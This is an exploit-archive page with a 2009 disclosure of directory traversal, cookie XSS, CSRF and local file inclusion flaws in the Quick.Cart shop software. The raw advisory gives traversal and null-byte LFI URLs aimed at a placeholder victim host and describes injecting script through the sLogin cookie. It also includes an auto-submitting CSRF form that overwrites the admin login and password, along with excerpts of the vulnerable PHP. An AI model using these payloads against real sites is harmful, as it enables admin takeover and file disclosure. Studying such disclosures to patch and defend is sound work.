header-logo
Suggest Exploit
vendor:
Quick.Cart
by:
Paweł 'kl3ryk' �askarzewski
8.8
CVSS
HIGH
Directory Traversal, Cookie XSS, XSRF and LFI
22, 79, 352, 98
CWE
Product Name: Quick.Cart
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

Directory Traversal, Cookie XSS, XSRF and LFI Vulnerabilities in Quick.Cart

Directory Traversal vulnerability can be exploited by appending a malicious file path to the URL. Cookie XSS vulnerability can be exploited by changing the cookie “sLogin” and inserting XSS code. XSRF vulnerability can be exploited by submitting a malicious form to the server. LFI vulnerability can be exploited by passing malicious parameters to the script.

Mitigation:

Implement input validation, use secure cookies, use CSRF tokens, and use secure coding practices.
Source

Exploit-DB raw data:

DISCOVERED: Paweł 'kl3ryk' Łaskarzewski
GREETZ: hawk, pin3ska, black ant_, qwert666, ua and gacmaan

DIRECTORY TRAVERSAL
http://victim.com/?p=[ONE OF THE EXISITING FILES]-[EXISITING ACTION IN
THIS FILE]-
Most of actions load templates form bad directory and then throw an exception.

example:
http://victim.com/?p=../actions_admin/settings-config
#########################
COOKIE XSS
1) in login form in admin.php
You need to change cookie "sLogin" and there put your XSS code. After
that when you will go to http://revival.pl/test/quickcart/admin.php
you will see your XSS executed.

####templates/admin/loign.tpl
<form method="post" action="$sLoginPage" name="form">
  <fieldset>
    <input type="hidden" name="sLoginPageNext" value="$_SERVER[REQUEST_URI]" />
    <div id="login"><label>$lang['Login']:</label><input type="text"
name="sLogin" class="input" value="$_COOKIE[sLogin]" /></div> //XSS
    <div id="pass"><label>$lang['Password']:</label><input
type="password" name="sPass" class="input" value="" /></div>
    <div id="submit"><input type="submit" value="$lang['log_in']
»" /></div>
  </fieldset>
</form>

#########################
XSRF for any admin action

POC will change admin login and password in configuration file
<form id="myForm"
action="http://192.168.1.107/quickcart/admin.php?p=settings-config"
method="post">
	<input type="text" name="sOption" value="save"/>
	<input type="text" name="login" value="admin2"/>
	<input type="text" name="pass" value="admin2"/>
</form>
<script>
document.getElementById("myForm").submit();
</script>

#########################
LFI
In quick.cart there are two ways to pass parameters to the script:
index.php?param1,param2,param3
or
index.php?p=param1-param2-param3

In first case our LFI is in param3 in second filename is in param1.
Unfourtuenetly both methods have contrains.
First change all special chars (including dots into their safe
equivalents) and change require that file must be inside
actions_client directory.
Secend one require from filename php extension

example:
http://victim.com/nothing,important,our.file.name.html%00
http://victim.com/?p=../path.to.our.php.file-nothing-important

EXPLANATION:
####index.php:
[CODE]
extract( $_GET );
[...]
$aActions = isset( $p ) ? getAction( $p ) : getUrlFromGet( );
[...]
if( isset( $aActions ) && is_file( 'actions_client/'.$aActions['f'].'.php' ) )
  require 'actions_client/'.$aActions['f'].'.php';
[/CODE]

getUrlFromGet is function to handle first method and getAction to
handle second one.


####libraries/Trash.php
[CODE]
function getAction( $p ){
  global $a;
  if( ereg( '-', $p ) ){
    $aExp   = explode( '-', $p );
    $iCount = count( $aExp );
    for( $i = 0; $i < $iCount; $i++ ){
      if( !empty( $aExp[$i] ) ){
        if( $i == 0 )
          $aActions['f'] = $aExp[$i];
        elseif( $i == 1 )
          $aActions['a'] = $aExp[$i];
        else{
          $aActions['o'.( $i - 1 )] = $aExp[$i];
        }
      }
    } // end for
    if( !empty( $aActions['f'] ) && !empty( $aActions['a'] ) ){
      $a = $aActions['a'];
      $aActions['sLink'] = '?p='.$p;
      return $aActions;
    }
  }
}
[/CODE]

As we can see in our param string ereg search minus and because our
filename is on first position we can't use null byte (%00) to pass
filename without php extension.


####core/common.php
[CODE]
function getUrlFromGet( ){
  global $a;
  if( isset( $_GET ) && is_array( $_GET ) ){
    foreach( $_GET as $mKey => $mValue ){
      if( strstr( $mKey, ',' ) ){
        $mKey = htmlspecialchars( $mKey );
[/CODE]

htmlspecialchars destroy our dreams about full LFI bug.